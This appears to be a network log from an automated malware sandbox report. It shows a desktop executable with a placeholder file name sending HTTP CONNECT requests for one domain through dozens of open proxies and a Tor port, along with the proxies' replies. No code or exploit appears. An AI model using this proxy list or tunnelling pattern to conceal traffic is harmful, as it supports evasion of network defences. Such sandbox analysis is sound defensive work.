Mar 11, 2024 15:21:25.887902975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.090775967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.387568951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:54.731235981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.9	54804	198.12.255.193	51612	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.618190050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700347900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.779779911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.9	54878	67.201.33.10	25283	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.631515980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.9	55200	184.170.248.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.639936924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.9	55131	70.166.167.55	57745	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.642122030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.9	54613	72.195.34.59	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.642224073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.9	54932	103.97.179.115	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.650779963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.9	52517	212.126.5.246	42344	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.666210890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.9	52593	91.134.140.160	53012	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.674139977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.325109959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.825412035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825445890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825421095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.825613022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.825355053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.825515032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.637562037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.9	55199	203.218.172.225	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.679805040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.9	54800	201.77.108.130	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.702317953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.105345011 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.9	54478	117.160.250.132	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.702774048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.448326111 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:14 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.9	52490	52.151.210.204	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.716360092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.9	54806	164.163.133.130	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.719791889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.9	52610	162.240.79.122	61792	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.720518112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.887643099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.888003111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.887922049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.996918917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.075038910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.090626001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:26.153081894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:14.153014898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.9	54805	184.185.105.105	4481	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.721725941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.870702028 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.9	55191	102.132.50.6	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.728137970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.9	52609	109.70.206.42	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.737202883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.9	54887	47.106.76.196	8088	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.748470068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.9	54934	185.139.56.133	6961	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.752016068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.938002110 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.9	55201	72.49.49.11	31034	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.755491018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.9	55176	113.143.37.82	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.756365061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.9	54941	103.118.44.136	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.764657021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.9	55130	192.252.220.92	17328	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.764765978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.9	55197	162.55.87.48	5566	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.769994974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.078299999 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.9	50460	51.145.176.250	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.773678064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.077630043 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.9	55039	139.99.244.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:13.788044930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.887890100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.888036013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.887922049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
